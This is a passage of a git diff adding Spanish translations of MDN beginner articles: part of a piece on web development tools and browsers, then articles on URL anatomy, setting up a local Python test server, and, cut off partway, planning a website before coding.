+<p>Cuando tu sitio web está listo para visualización pública , tendrás que subir tus páginas web a tu servidor web. Puedes comprar espacio en un servidor de varios proveedores (vea el artículo <a class="new" href="/en-US/docs/Learn/How_much_does_it_cost">¿Cuánto cuesta hacer algo en la web?</a>). Una vez que establezca qué proveedor utilizar, el proveedor le enviará un correo con la información de acceso, usualmente en la forma de una URL SFTP, nombre de usuario, contraseña, y otra información necesaria para conectarte con su servidor. Tenga en cuenta que el protocolo (S)FTP está actualmente algo pasado de moda, mientras otros sistemas de carga de archivos están comenzando a volverse populares como <a href="https://en.wikipedia.org/wiki/Rsync">RSync</a> y <a href="https://help.github.com/articles/using-a-custom-domain-with-github-pages/">Git/GitHub</a>.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note: </strong>FTP es inherentemente inseguro. Deberías asegurarte de que tu proveedor de alojamiento permite el uso de una conexión segura, por ejemplo SFTP o RSync sobre SSH.</p>
+</div>
+
+<p>Subir archivos a un sitio web es un paso muy importante mientras se crea un sitio web, por lo que sete tema se abarca en detalle en <a href="/en-US/docs/Learn/Upload_files_to_a_web_server">un artículo aparte</a>. Por ahora, se presenta una lista de clientes (S)FTP gratuitos:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Sistema operativo</th>
+   <th colspan="2" rowspan="1" scope="col" style="text-align: center;"> Software FTP </th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>Windows</td>
+   <td>
+    <ul>
+     <li><a href="http://winscp.net" rel="external">WinSCP</a></li>
+     <li><a href="http://mobaxterm.mobatek.net/">Moba Xterm</a></li>
+    </ul>
+   </td>
+   <td colspan="1" rowspan="3">
+    <ul>
+     <li><a href="https://filezilla-project.org/">FileZilla</a> (Todos los SO)</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td>Linux</td>
+   <td>
+    <ul>
+     <li><a href="https://wiki.gnome.org/action/show/Apps/Files?action=show&amp;redirect=Apps%2FNautilus" rel="external">Nautilus/Files</a> (Gnome)</li>
+     <li><a href="http://dolphin.com/" rel="external">Dolphin</a> (KDE)</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td> Mac OS</td>
+   <td>
+    <ul>
+     <li><a href="http://cyberduck.de/">Cyberduck</a></li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td> Chrome OS</td>
+   <td>
+    <ul>
+     <li><a href="https://shiftedit.net/">ShiftEdit</a> (Todos los SO)</li>
+    </ul>
+   </td>
+   <td colspan="1"> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Navegación_por_sitios_web">Navegación por sitios web</h3>
+
+<p>Como ya sabe, necesita un navegador para ver los sitios web. Existen <a href="http://en.wikipedia.org/wiki/List_of_web_browsers">docenas</a>  de opciones de navegadores para uso personal, pero cuando usted está desarrollando un sitio web debe probarlo al menos con los navegadores principales siguientes, para estar seguro de que su sitio web funciona para la mayoría de las personas:  </p>
+
+<ul>
+ <li><a href="https://www.mozilla.org/en-US/firefox/new/" rel="external">Mozilla Firefox</a></li>
+ <li><a href="https://www.google.fr/chrome/browser/" rel="external">Google Chrome</a></li>
+ <li><a href="http://windows.microsoft.com/en-US/internet-explorer/download-ie" rel="external">Microsoft Internet Explorer</a></li>
+ <li><a href="http://www.apple.com/safari/" rel="external">Apple Safari</a></li>
+</ul>
+
+<p>Si su sitio está destinado a un grupo específico (por ejemplo, una plataforma técnica o país), puede que tenga que probar el sitio con navegadores adicionales, como <a href="http://www.opera.com/" rel="external">Opera</a>, <a href="http://www.konqueror.org/">Konqueror</a>, o<a href="http://www.ucweb.com/ucbrowser/" rel="external"> UC Browser</a>.</p>
+
+<p>Sin embargo las pruebas se dificultan debido a que algunos navegadores sólo funcionan en determinados sistemas operativos. Apple Safari se ejecuta en iOS y Mac OS, mientras Internet Explorer corre solamente en Windows. Lo mejor es aprovechar los servicios como <a href="http://browsershots.org/" rel="external">Browsershots</a> o <a href="http://www.browserstack.com/" rel="external">Browserstack</a>. Browsershots proporciona capturas de pantallas de tu sitio web en diferentes navegadores. Browserstack  realmente te otorga acceso remoto a máquinas virtuales de modo que puedes probar tu sitio en los entornos más comunes. De manera alternativa, puedes instalar tu propia máquina virtual, pero se necesita algo de experiencia. ( Si escoge este camino, Microsoft tiene algunas herramientas para desarrolladores incluso una máquina virtual lista para utilizar en <a href="https://modern.ie" rel="external">modern.ie</a>.)</p>
+
+<p>Sin falta ejecute algunas pruebas en dispositivos reales, especialmente en dispositivos móviles reales. Simulación de dispositivos móviles es una tecnología nueva, en evolución y menos confiable que la simulación de escritorio. Desde luego, los dispositivos móviles son costosos, por lo que le sugerimos echar un vistazo a <a href="http://opendevicelab.com/" rel="external">la inictiva de Laboratorios de dispositivos abiertos</a>. Puede además compartir dispositivos quiere probar en diferentes plataformas sin gastar mucho.</p>
+
+<h2 id="Próximos_pasos">Próximos pasos</h2>
+
+<ul>
+ <li>Algunos de estos programas son gratis, pero no todos. <a href="/en-US/docs/Learn/Common_questions/How_much_does_it_cost">Descubra cuánto cuesta hacer algo en la web</a><a class="new" href="/en-US/docs/Learn/How_much_does_it_cost">.</a></li>
+ <li>Si desea aprrender más sobre editores de texto, lea este artículo acerca de <a href="/en-US/docs/Learn/Choose,_Install_and_set_up_a_text_editor">cómo seleccionar e instalar un editor de texto</a>.</li>
+ <li>Si se está preguntando cómo publicar en tu sitio web, eche un vistazo a <a href="/en-US/docs/Learn/Upload_files_to_a_web_server">"Cómo subir archivos a un servidor web"</a>.</li>
+</ul>
+
+<p> </p>
diff --git a/files/es/learn/common_questions/qué_es_una_url/index.html b/files/es/learn/common_questions/qué_es_una_url/index.html
new file mode 100644
index 0000000000..ef50be60ad
--- /dev/null
+++ b/files/es/learn/common_questions/qué_es_una_url/index.html
@@ -0,0 +1,152 @@
+---
+title: ¿Qué es una URL?
+slug: Learn/Common_questions/Qué_es_una_URL
+translation_of: Learn/Common_questions/What_is_a_URL
+---
+<div class="summary">
+<p>Este artículo habla sobre las Uniform Resource Locators (URLs), explicando qué son y cómo se estructuran.</p>
+</div>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisitos:</th>
+   <td>Primero necesitas saber <a href="/en-US/docs/Learn/How_the_Internet_works">Como funciona Internet</a>, <a href="/en-US/docs/Learn/What_is_a_Web_server">qué es un servidor Web</a> y <a href="/en-US/docs/Learn/Understanding_links_on_the_web">los conceptos detrás de los enlaces en la web</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Aprenderás lo que es una URL y como funcionan en la Web.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p><span class="seoSummary">Junto con el {{Glossary("Hypertext", "Hipertexto")}} y {{Glossary("HTTP")}}, las <strong><dfn>URL</dfn></strong> son uno de los conceptos claves de la Web. Es el mecanismo usado por los {{Glossary("Browser","navegadores")}} para obtener cualquier recurso publicadon en la web.</span></p>
+
+<p><strong>URL</strong> significa <em>Uniform Resource Locator (Localizador de Recursos Uniforme)</em>. Una URL no es más que una direccion que es dada a un recurso único en la Web. En teoria, cada URL valida apunta a un único recurso. Dichos recursos pueden ser páginas HTML, documentos CSS, imagenes, etc. En la practica, hay algunas excepciones, siendo la más común una URL apuntando a un recurso que ya no existe o que ha sido movido. Como el recurso representado por la URL y la URL en si son manejadas por el servidor Web, depende del dueño del servidor web manejar ese recurso y su URL asociada adecuadamente.</p>
+
+<h2 id="Active_Learning">Active Learning</h2>
+
+<p><em>There is no active learning available yet. <a href="/en-US/docs/MDN/Getting_started">Please, consider contributing</a>.</em></p>
+
+<h2 id="Profundizando">Profundizando</h2>
+
+<h3 id="Conceptos_básicos_anatomía_de_una_URL">Conceptos básicos: anatomía de una URL</h3>
+
+<p>Aquí hay algunos ejemplos de URL:</p>
+
+<pre class="notranslate">https://developer.mozilla.org
+https://developer.mozilla.org/en-US/docs/Learn/
+https://developer.mozilla.org/en-US/search?q=URL</pre>
+
+<p>Cualquiera de esas URL se puede escribir en la barra de direcciones de su navegador para indicarle que cargue la página (recurso) asociada.</p>
+
+<p>Una URL está compuesta de diferentes partes, algunas obligatorias y otras opcionales. Veamos las partes más importantes usando la siguiente URL:</p>
+
+<pre class="notranslate">http://www.example.com:80/path/to/myfile.html?key1=value1&amp;key2=value2#SomewhereInTheDocument</pre>
+
+<dl>
+ <dt><img alt="Protocol" src="https://mdn.mozillademos.org/files/15766/mdn-url-protocol@x2_update.png" style="height: 70px; width: 440px;"></dt>
+ <dd><code>http</code> es el protocolo. La primera parte de la URL indica qué protocolo debe usar el navegador. Un protocolo es un método establecido para intercambiar o transferir datos alrededor de una red informática. Por lo general, para sitios web es el protocolo HTTP o su versión segura, HTTPS. La Web requiere uno de estos dos, pero los navegadores también saben cómo manejar otros protocolos como mailto: (para abrir un cliente de correo) o ftp: para manejar la transferencia de archivos, así que no se sorprenda si ve tales protocolos.</dd>
+ <dt><img alt="Domaine Name" src="https://mdn.mozillademos.org/files/8015/mdn-url-domain@x2.png" style="height: 70px; width: 440px;"></dt>
+ <dd><code>www.example.com</code> es el nombre de dominio. Indica qué servidor web se solicita. Alternativamente, es posible usar directamente un {{Glossary("dirección IP")}}, pero debido a que es menos conveniente, no se usa con frecuencia en la Web.</dd>
+ <dt><img alt="Port" src="https://mdn.mozillademos.org/files/8017/mdn-url-port@x2.png" style="height: 70px; width: 440px;"></dt>
+ <dd><code>:80</code> es el puerto. Indica la "puerta" técnica utilizada para acceder a los recursos en el servidor web. Por lo general, se omite si el servidor web utiliza los puertos estándar del protocolo HTTP (80 para HTTP y 443 para HTTPS) para otorgar acceso a sus recursos. De lo contrario es obligatorio.</dd>
+ <dt><img alt="Path to the file" src="https://mdn.mozillademos.org/files/8019/mdn-url-path@x2.png" style="height: 70px; width: 440px;"></dt>
+ <dd><code>/path/to/myfile.html</code> es la ruta al recurso en el servidor web. En los primeros días de la Web, una ruta como esta representaba la ubicación de un archivo físico en el servidor web. Hoy en día, es principalmente una abstracción manejada por servidores web sin ninguna realidad física.</dd>
+ <dt><img alt="Parameters" src="https://mdn.mozillademos.org/files/8021/mdn-url-parameters@x2.png" style="height: 70px; width: 440px;"></dt>
+ <dd><code>?key1=value1&amp;key2=value2</code> son parámetros adicionales proporcionados al servidor web. Esos parámetros son una lista de pares clave/valor separados con el símbolo &amp;. El servidor web puede usar esos parámetros para hacer cosas adicionales antes de devolver el recurso. Cada servidor web tiene sus propias reglas con respecto a los parámetros, y la única forma confiable de saber si un servidor web específico está manejando parámetros es preguntando al propietario del servidor web.</dd>
+ <dt><img alt="Anchor" src="https://mdn.mozillademos.org/files/8023/mdn-url-anchor@x2.png" style="height: 70px; width: 440px;"></dt>
+ <dd><code>#SomewhereInTheDocument</code> es un ancla para otra parte del recurso en sí. Un ancla representa una especie de "marcador" dentro del recurso, dando al navegador las instrucciones para mostrar el contenido ubicado en ese lugar "marcado". En un documento HTML, por ejemplo, el navegador se desplazará hasta el punto donde se define el ancla; en un video o documento de audio, el navegador intentará ir a la hora que representa el ancla. Vale la pena señalar que la parte después del #, también conocido como el identificador de fragmento, nunca se envía al servidor con la solicitud.</dd>
+</dl>
+
+<p>{{Note('Existen <a href="http://en.wikipedia.org/wiki/Uniform_Resource_Locator">algunas partes extras y reglas extras </a>con respecto a las URL, pero no son relevantes para usuarios habituales o desarrolladores web. No se preocupe por esto, no necesita conocerlos para construir y usar URL completamente funcionales.')}}</p>
+
+<p>Puede pensar en una URL como una dirección de correo postal normal: el protocolo representa el servicio postal que desea utilizar, el nombre de dominio es la ciudad o el pueblo y el puerto es como el código postal; la ruta representa el edificio donde se debe entregar su correo; los parámetros representan información adicional como el número de apartamento en el edificio; y, finalmente, el ancla representa a la persona real a la que ha dirigido su correo.</p>
+
+<h3 id="Cómo_usar_las_URL">Cómo usar las URL</h3>
+
+<p>Se puede escribir cualquier URL dentro de la barra de direcciones del navegador para acceder al recurso que se encuentra detrás. ¡Pero esto es sólo la punta del iceberg!</p>
+
+<p>El lenguaje {{Glossary("HTML")}} — <a href="/en-US/docs/Learn/HTML/HTML_tags">que se discutirá más adelante</a> — hace un uso extensivo de las URL:</p>
+
+<ul>
+ <li>para crear enlaces a otros documentos con el elemento {{HTMLElement("a")}};</li>
+ <li>para vincular un documento con sus recursos relacionados a través de varios elementos como {{HTMLElement("link")}} o {{HTMLElement("script")}};</li>
+ <li>para mostrar recursos como imágenes (con el elemento {{HTMLElement("img")}}), videos (con el elemento {{HTMLElement("video")}}), sonido y música (con el elemento {{HTMLElement("audio")}} ), etc.;</li>
+ <li>para mostrar otros documentos HTML con el elemento {{HTMLElement ("iframe")}}.</li>
+</ul>
+
+<div class="note">
+<p><strong>Nota:</strong> Al especificar URL para cargar recursos como parte de una página (como cuando se usa &lt;script&gt;, &lt;audio&gt;, &lt;img&gt;, &lt;video&gt; y similares), solo debe usar URL HTTP y HTTPS. El uso de FTP, por ejemplo, no es particularmente seguro y muchos navegadores ya no lo admiten.</p>
+</div>
+
+<p>Otras tecnologías, como {{Glossary("CSS")}} o {{Glossary("JavaScript")}}, usan URLs ampliamente, y estos son realmente el corazón de la Web.</p>
+
+<h3 id="URL_absolutas_vs_URL_relativas">URL absolutas vs URL relativas</h3>
+
+<p>Lo que vimos arriba se llama URL absoluta, pero también hay algo llamado URL relativa. Examinemos lo que significa esa distinción con más detalle.</p>
+
+<p>Las partes requeridas de una URL dependen en gran medida del contexto en el que se utiliza la URL. En la barra de direcciones de su navegador, una URL no tiene ningún contexto, por lo que debe proporcionar una URL completa (o absoluta), como las que vimos anteriormente. No necesita incluir el protocolo (el navegador usa HTTP de manera predeterminada) o el puerto (que solo se requiere cuando el servidor web de destino está utilizando algún puerto inusual), pero todas las otras partes de la URL son necesarias.</p>
+
+<p>Cuando se usa una URL dentro de un documento, como en una página HTML, las cosas son un poco diferentes. Debido a que el navegador ya tiene la propia URL del documento, puede usar esta información para completar las partes faltantes de cualquier URL disponible dentro de ese documento. Podemos diferenciar entre una URL absoluta y una URL relativa mirando solo la parte de ruta de la URL. Si la parte de ruta de la URL comienza con el carácter "/", el navegador buscará ese recurso desde la raíz superior del servidor, sin referencia al contexto dado por el documento actual.</p>
+
+<p>Veamos algunos ejemplos para aclarar esto.</p>
+
+<h4 id="Ejemplos_de_URL_absolutas">Ejemplos de URL absolutas</h4>
+
+<dl>
+ <dt>URL Completa (la misma que usamos antes)</dt>
+ <dd>
+ <pre class="notranslate">https://developer.mozilla.org/en-US/docs/Learn</pre>
+ </dd>
+ <dt>Protocolo implícito</dt>
+ <dd>
+ <pre class="notranslate">//developer.mozilla.org/en-US/docs/Learn</pre>
+
+ <p>En este caso, el navegador llamará a esa URL con el mismo protocolo que el utilizado para cargar el documento que aloja esa URL.</p>
+ </dd>
+ <dt>Nombre de dominio implícito</dt>
+ <dd>
+ <pre class="notranslate">/en-US/docs/Learn</pre>
+
+ <p>Este es el caso de uso más común para una URL absoluta dentro de un documento HTML. El navegador utilizará el mismo protocolo y el mismo nombre de dominio que el utilizado para cargar el documento que aloja esa URL. <strong>Nota</strong>: <em>no es posible omitir el nombre de dominio sin omitir también el protocolo</em>.</p>
+ </dd>
+</dl>
+
+<h4 id="Ejemplos_de_URL_relativas">Ejemplos de URL relativas</h4>
+
+<p>Para comprender mejor los siguientes ejemplos, supongamos que las URL se invocan desde el documento ubicado en la siguiente URL:<code>https://developer.mozilla.org/en-US/docs/Learn</code></p>
+
+<dl>
+ <dt>Sub-recursos</dt>
+ <dd>
+ <pre class="notranslate">Skills/Infrastructure/Understanding_URLs
+</pre>
+ Debido a que la URL no se inicia con <code>/</code>, el navegador intentará encontrar el documento en un subdirectorio del que contiene el recurso actual. Entonces, en este ejemplo, realmente queremos llegar a esta URL:<code>https://developer.mozilla.org/en-US/docs/Learn/Skills/Infrastructure/Understanding_URLs</code></dd>
+ <dt>Volviendo en el árbol de directorios</dt>
+ <dd>
+ <pre class="notranslate">../CSS/display</pre>
+
+ <p>En este caso, usamos el <code>../</code> convención de escritura, heredada del mundo del sistema de archivos UNIX, para decirle al navegador que queremos subir desde un directorio. Aquí queremos llegar a esta URL:<code>https://developer.mozilla.org/en-US/docs/Learn/../CSS/display</code>, que se puede simplificar a: <code>https://developer.mozilla.org/en-US/docs/CSS/display</code></p>
+ </dd>
+</dl>
+
+<h3 id="URL_semánticas">URL semánticas</h3>
+
+<p>A pesar de su sabor muy técnico, las URL representan un punto de entrada legible para un sitio web. Se pueden memorizar y cualquiera puede ingresarlos en la barra de direcciones de un navegador. Las personas están en el centro de la Web, por lo que se considera una buena práctica construir lo que se llama <a href="http://en.wikipedia.org/wiki/Semantic_URL"><em>URL semánticas</em></a>. Las URL semánticas usan palabras con un significado inherente que cualquier persona puede entender, independientemente de sus conocimientos técnicos.</p>
+
+<p>La semántica lingüística es, por supuesto, irrelevante para las computadoras. Probablemente has visto URL que parecen mashups de caracteres aleatorios. Pero hay muchas ventajas en la creación de URL legibles por humanos:</p>
+
+<ul>
+ <li>Es más fácil para ti manipularlos.</li>
+ <li>Aclara las cosas para los usuarios en términos de dónde están, qué están haciendo, qué están leyendo o interactuando en la Web.</li>
+ <li>Algunos motores de búsqueda pueden usar esa semántica para mejorar la clasificación de las páginas asociadas.</li>
+</ul>
+
+<h2 id="Próximos_pasos">Próximos pasos</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/Understanding_domain_names">Comprendiendo nombres de dominio</a></li>
+</ul>
diff --git a/files/es/learn/common_questions/set_up_a_local_testing_server/index.html b/files/es/learn/common_questions/set_up_a_local_testing_server/index.html
new file mode 100644
index 0000000000..e2223d3c8a
--- /dev/null
+++ b/files/es/learn/common_questions/set_up_a_local_testing_server/index.html
@@ -0,0 +1,113 @@
+---
+title: ¿Cómo se configura un servidor de prueba local?
+slug: Learn/Common_questions/set_up_a_local_testing_server
+tags:
+  - Expreso
+  - Flask
+  - Lado-del-servidor
+  - Node
+  - PHP
+  - Principiante
+  - Python
+  - aprende
+  - django
+  - lamp
+  - servidores
+translation_of: Learn/Common_questions/set_up_a_local_testing_server
+---
+<div class="summary">
+<p>En este artículo explica cómo configurar un servidor de prueba local simple en su equipo y los conceptos básicos de cómo utilizarlo.</p>
+</div>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitos:</th>
+   <td>Primero debes saber <a href="/en-US/docs/Learn/How_the_Internet_works">cómo funciona internet</a>, y <a href="/en-US/docs/Learn/What_is_a_Web_server">qué es un servidor web</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objectivo:</th>
+   <td>Aprenderás cómo configurar un servidor de pruebas local</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Archivos_locales_versus_archivos_remotos">Archivos locales versus archivos remotos</h2>
+
+<p>En la mayor parte del área de aprendizaje, te decimos que abras tus ejemplos directamente en un navegador — lo que se hace con doble clic en el archivo HTML, o arrastrándolo y soltándolo en una ventana del navegador o eligiendo <em>Archivo</em> &gt; <em>Abrir...</em> y navegando al archivo HTML, etc. Hay muchas maneras de lograr esto.</p>
+
+<p>Sabes si estás ejecutando el ejemplo desde un archivo local porque la dirección web tendrá <code>archivo://</code> al principio, seguido de la ruta al archivo en tu disco duro local. Por el contrario, si ves uno de nuestros ejemplos alojados en GitHub (o un ejemplo en algún otro servidor remoto), la dirección web tendrá <code>http://</code> o <code>https://</code> al principio, para mostrar que el archivo ha sido recibido a través de HTTP.</p>
+
+<h2 id="El_problema_de_probar_archivos_locales">El problema de probar archivos locales</h2>
+
+<p>Algunos ejemplos no se ejecutarán si los abre como archivos locales. Esto puede deberse a una variedad de razones, siendo las más probables:</p>
+
+<ul>
+ <li><strong>Cuentan con peticiones asincrónicas</strong>. Algunos navegadores (incluido chrome) no ejecutarán solicitudes asíncronas (consulte <a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Fetching_data">Obtención de datos desde el servidor</a>) si acaba de ejecutar el ejemplo desde un archivo local. Esto se debe a las restricciones de seguridad (para obtener más información sobre la seguridad web, lee <a href="/en-US/docs/Learn/Server-side/First_steps/Website_security">La seguridad del sitio web</a>).</li>
+ <li><strong>Cuenta con un lenguaje de servidor</strong>. Los lenguajes de servidor (como PHP o Python) requieren de un servidor especial para interpretar el código y entregar los resultados.</li>
+</ul>
+
+<h2 id="Ejecutando_un_servidor_HTTP_local_simple">Ejecutando un servidor HTTP local simple</h2>
+
+<p>Para evitar el problema de las solicitudes asíncronas, necesitamos probar estos ejemplos ejecutándolos a través de un servidor web local. Una de las maneras más fáciles de hacer esto para nuestros propósitos es usar el módulo <code>SimpleHTTPServer</code> de Python.</p>
+
+<p>Para hacer esto:</p>
+
+<ol>
+ <li>
+  <p>Instalar Python. Si usas Linux o Mac OS X, ya debe estar disponible en tu sistema. Si eres usuario de Windows, puedes conseguir un instalador desde la página principal de Python y seguir las instrucciones para instalarlo:</p>
+
+  <ul>
+   <li>Vé a <a href="https://www.python.org/">python.org</a></li>
+   <li>Debajo de la sección de Descarga, haz clic en el link para Python "3.xxx".</li>
+   <li>En la parte superior de la página, selecciona el <em>instalador ejecutable windows x86</em> y descárgalo.</li>
+   <li>Cuando se haya descargado, córrelo.</li>
+   <li>En la primera página de instalación, asegúrate de marcar el checkbox "Añadir Python 3.xxx a la ruta"</li>
+   <li>Clic en <em>Instalar</em>, luego clic en <em>Cerrar</em> cuando la instalación ya haya finalizado.</li>
+  </ul>
+ </li>
+ <li>
+  <p>Abre la terminal (windows)/terminal (OS X/Linux). Para chequear que Python está instalado, ingrese el siguiente comando.</p>
+
+  <div class="note">
+  <p><strong>Nota</strong>: La v del ejemplo en mayuscula (V)</p>
+  </div>
+
+  <pre class="brush: bash">python -V</pre>
+ </li>
+ <li>
+  <p>Esto debe retornar un número de versión. Si esto esta bien, navega al directorio que contiene tu ejemplo, usando el comando <code>cd</code>.</p>
+
+  <pre class="brush: bash"># Incluye el nombre del directorio de entrar en él,
+por ejemplo cd Escritorio
+
+# Use dos puntos para regresar un nivel de directorio
+si es necesario,por ejemplo cd ../
+</pre>
+ </li>
+ <li>
+  <p>Ingresa el comando para iniciar el servidor en ese directorio:</p>
+
+  <pre class="brush: bash"># En Mac y Linux
+python -m SimpleHTTPServer
+#Windows
+python -m http.server</pre>
+ </li>
+ <li>
+  <p>Por defecto, se ejecutará el contenido del directorio en un servidor web local, en el puerto 8000. puedes ir a este servidor yendo a la URL <code>localhost:8000</code> en tu navegador web. Aquí verá el contenido del directorio listado - haga clic en el archivo HTML que desea ejecutar.</p>
+ </li>
+</ol>
+
+<div class="note">
+<p><strong>Nota</strong>: si ya tienes corriendo algo en el puerto 8000, puedes escoger otro puerto corriendo el siguiente comando de servidor por un número de puerto alternativo, por ejemplo <code>python -m SimpleHTTPServer 7800</code>. Puedes acceder a tu contenido en el<code>localhost:7800</code>.</p>
+</div>
+
+<h2 id="Ejecución_de_lenguajes_del_lado_del_servidor_localmente">Ejecución de lenguajes del lado del servidor localmente</h2>
+
+<p>El módulo <code>SimpleHTTPServer</code> de Python es útil, pero desconoce como ejecutar el código escrito en lenguajes como PHP o Python. Para resolver eso necesitarás algo más — lo que necesitarás exactamente depende del lenguaje del lado del servidor que estas intentando de ejecutar. Aquí están un par de ejemplos:</p>
+
+<ul>
+ <li>Para ejecutar el código del lado del servidor Python, necesitrá utilizar un framework web python. Puedes averiguar cómo usar el framework Django leyendog <a href="/en-US/docs/Learn/Server-side/Django">Django Web Framework (Python)</a>. <a href="http://flask.pocoo.org/">Flask</a> también es buena alternativa a Django (ligeramente menos pesado). Para ejecutar esto necesitarás <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/development_environment#Installing_Python_3">instalar Python/PIP</a>, luego instala Flask usando <code>pip3 install flask</code>. En este punto, deberías ser capaz de ejecutar los ejemplos de Python Flask usando por ejemplo <code>python3 python-example.py</code>, luego navegar al <code>localhost:5000</code> en tu navegador.</li>
+ <li>Para ejecutar código Node.js (JavaScript) del lado del servidor, necesitarás usar el nodo raw o un framework construido encima de él. Express es una buena opción — mira <a href="/en-US/docs/Learn/Server-side/Express_Nodejs">Express Web Framework (Node.js/JavaScript)</a>.</li>
+ <li>Para ejecutar código PHP del lado del servidor, necesitarás una configuración de servidor que pueda interpretar PHP. Las buenas opciones para los testeos locales de PHP son <a class="external external-icon" href="https://www.mamp.info/en/downloads/">MAMP</a> (Mac y Windows) t <a class="external external-icon" href="http://ampps.com/download">AMPPS</a> (Mac, Windows, Linux). Estos son paquetes completos que crean configuraciones locales que permiten ejecutar servidor Apache, PHP, y base de datos MySQL.</li>
+</ul>
diff --git a/files/es/learn/common_questions/thinking_before_coding/index.html b/files/es/learn/common_questions/thinking_before_coding/index.html
new file mode 100644
index 0000000000..f675eb8d80
--- /dev/null
+++ b/files/es/learn/common_questions/thinking_before_coding/index.html
@@ -0,0 +1,177 @@
+---
+title: ¿Cómo empiezo a diseñar mi sitio web?
+slug: Learn/Common_questions/Thinking_before_coding
+tags:
+  - Pensar
+  - Principiante
+  - antes de codificar
+  - ideación
+  - proyecto
+translation_of: Learn/Common_questions/Thinking_before_coding
+---
+<p class="summary">Este artículo cubre el primer paso importante de cada proyecto: definir lo que se desea lograr con él.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitos:</th>
+   <td>Ninguno</td>
+  </tr>
+  <tr>
+   <th scope="row">Objectivo:</th>
+   <td>Aprender a definir metas para darle dirección a tu proyecto web.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p><span class="seoSummary">Al comenzar con un proyecto web, muchas personas se enfocan en el aspecto técnico. Por supuesto, debes estar más familiarizado con la técnica de su oficio, pero lo que realmente importa es lo que quieres lograr. Sí, parece obvio, pero demasiados proyectos fallan, no por falta de conocimiento técnico sino por falta de objetivos y visión.</span></p>
+
+<p>Entonces cuando tienes una idea y quieres convertirla en un sitio web, hay un par de cuestiones que debes responder antes que alguna otra cosa:</p>
+
+<ul>
+ <li>¿Qué es exactamente quiero lograr?</li>
+ <li>¿Cómo un sitio web me ayudará a alcanzar mis metas?</li>
+ <li>¿Qué es necesario hacer, y en qué orden, para alcanzar mis metas?</li>
+</ul>
+
+<p>Todo esto es llamado <em>idealización del proyecto</em> y es un primer paso necesario para alcanzar tus metas, si eres un desarrollador principiante o experimentado.</p>
+
+<h2 id="Aprendizaje_Activo">Aprendizaje Activo</h2>
+
+<p><em>No hay aprendizaje activo todavía. <a href="/es/docs/MDN/Comenzando">Por favor, considere la posibilidad de contribuir</a>.</em></p>
+
+<h2 id="Profundizando">Profundizando</h2>
+
+<p>Un proyecto nunca comienza por el lado técnico. Los músicos jamás compondrán ninguna música a menos que primero tengan la idea de lo quieren tocar, y eso también vale para los pintores, escritores y desarrolladores web. La técnica viene en segundo lugar.</p>
+
+<p>La técnica es crítica. Los músicos deben dominar su instrumento, pero los buenos músicos nunca producen buena música sin una idea. Por lo tanto, antes de saltar al lado técnico, por ejemplo código y herramientas, primero debes dar un paso atrás y decidir en detalle lo que deseas hacer.</p>
+
+<p>Una discusión de horas con los amigos es un buen comienzo, pero inapropiado. Debes sentarte y estructurar tus ideas, para tener una visión clara sobre el camino que debes tomar para materializar tus ideas. Para hacer esto, sólo necesitas lápiz y papel y un tiempo para resolver al menos las siguientes preguntas.</p>
+
+<div class="note">
+<p><strong>Nota: </strong>Hay innumerables maneras de llevar a cabo la ideación del proyecto. No podemos presentarlas a todas aquí (un libro entero no sería suficiente). Lo que presentamos aquí es un método sencillo para manejar lo que los profesionales llaman <a href="http://en.wikipedia.org/wiki/Ideation_(idea_generation)">Ideación de Proyectos</a>, <a href="https://es.wikipedia.org/wiki/Planeamiento_de_proyectos">Planificación de Proyectos</a> y <a href="https://es.wikipedia.org/wiki/Gesti%C3%B3n_de_proyectos">Gestión de Proyectos</a>.</p>
+</div>
+
+<h3 id="¿Qué_es_exactamente_lo_que_quiero_lograr">¿Qué es exactamente lo que quiero lograr?</h3>
+
+<p>Esta es la más importante pregunta a responder, ya que impulsa todo lo demás. Enumera todas la metas que deseas alcanzar. Puede ser cualquier cosa: vender bienes para ganar dinero, expresar opiniones políticas, conocer nuevos amigos, actuar con músicos, coleccionar imágenes de gatos o lo que quieras.</p>
+
+<p>Supongamos que eres músico. Y puedes desear que:</p>
+
+<ul>
+ <li>Permitir que las gente escuche tu música.</li>
+ <li>Venta de golosinas.</li>
+ <li>Conocer otros músicos.</li>
+ <li>Hablar acerca de tu música.</li>
+ <li>Enseñar música a través de vídeos.</li>
+ <li>Publicar fotos de tus gatos.</li>
+ <li>Encontrar un/a nuevo/a novio/a.</li>
+</ul>
+
+<p>Una vez que tengas la lista, necesitas priorizar. Ordena los objetivos desde los más importantes hacia los menos importantes.</p>
+
+<ol>
+ <li>Encontrar un/a nuevo/a novio/a.</li>
+ <li>Permitir que las gente escuche tu música.</li>
+ <li>Hablar acerca de tu música.</li>
+ <li>Conocer otros músicos.</li>
+ <li>Venta de golosinas.</li>
+ <li>Enseñar música a través de vídeos.</li>
+ <li>Publicar fotos de tus gatos.</li>
+</ol>
+
+<p>Haciendo este sencillo ejercicio, escribir metas y clasificarlas, te ayudará cuando tengas que tomar decisiones. (¿Debería implementar estas características, usar estos servicios, crear este diseño?)</p>
+
+<p>Entonces, ahora que tienes tu lista de objetivos priorizada, pasemos a la siguiente pregunta.</p>
+
+<h3 id="¿Cómo_podría_un_sitio_web_llevarme_a_mis_objetivos">¿Cómo podría un sitio web llevarme a mis objetivos?</h3>
+
+<p>Entonces, tienes tu lista de objetivos y sientes que necesitas un sitio web para alcanzarlos. ¿Estás seguro?</p>
+
